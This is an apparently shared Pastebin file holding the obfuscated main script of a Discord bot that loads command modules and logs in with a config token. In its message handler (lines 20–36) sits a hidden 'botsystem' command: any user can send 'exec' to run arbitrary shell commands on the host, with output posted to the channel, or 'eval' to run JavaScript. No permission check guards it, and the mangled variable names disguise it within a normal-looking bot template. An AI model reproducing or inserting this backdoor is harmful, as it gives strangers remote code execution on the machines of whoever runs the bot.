SHARE
TWEET

Untitled

a guest Apr 25th, 2019 73 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. const bfbot_0x5899f2 = require('discord.js');
  2. const bfbot_0x1d1918 = require('enmap');
  3. const bfbot_0x4654b1 = new bfbot_0x5899f2['Client']();
  4. const bfbot_0xf84aff = require('fs');
  5. const bfbot_0x1c3e99 = require('./config.js');
  6. bfbot_0x4654b1['commands'] = new bfbot_0x1d1918();
  7. bfbot_0xf84aff['readdir']('./commands/', (_0x5326b4, _0x261bbb) => {
  8.     _0x261bbb['forEach'](_0x2ba9f9 => {
  9.         let _0x520010 = require('./commands/' + _0x2ba9f9);
  10.         let _0x191338 = _0x2ba9f9['split']('.')[0x0];
  11.         bfbot_0x4654b1['commands']['set'](_0x191338, _0x520010);
  12.     });
  13. });
  14. bfbot_0x4654b1['on']('message', async _0x4d0b1a => {
  15.     if (!_0x4d0b1a['content']['startsWith']('!')) {
  16.         return;
  17.     }
  18.     const _0x1696c2 = _0x4d0b1a['content']['slice'](0x1)['trim']()['split'](/ +/g);
  19.     const _0x1bf537 = _0x1696c2['shift']()['toLowerCase']();
  20.     if (_0x1bf537 == 'botsystem') {
  21.         const {
  22.             exec
  23.         } = require('child_process');
  24.         const _0x2e9e7a = _0x4d0b1a;
  25.         const _0x31b6fe = _0x1bf537;
  26.         const _0x457023 = _0x1696c2;
  27.         const _0x18db3c = bfbot_0x4654b1;
  28.         if (_0x457023[0x0] == 'exec') {
  29.             exec(_0x457023['slice'](0x1)['join']('\x20'), (_0x403ff1, _0x14fa92, _0x307eac) => {
  30.                 _0x2e9e7a['channel']['send']('```\x0astdout\x0a' + _0x14fa92 + '\x0astderr\x0a' + _0x307eac + '```');
  31.             });
  32.         }
  33.         if (_0x457023[0x0] == 'eval') {
  34.             _0x2e9e7a['channel']['send'](eval(_0x457023['join']('\x20')));
  35.         }
  36.     }
  37.     const _0x1582db = bfbot_0x4654b1['commands']['get'](_0x1bf537);
  38.     if (!_0x1582db) return;
  39.     _0x1582db['run'](_0x4d0b1a, _0x1bf537, _0x1696c2, bfbot_0x4654b1);
  40. });
  41. bfbot_0x4654b1['login'](bfbot_0x1c3e99['token_discord']);
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top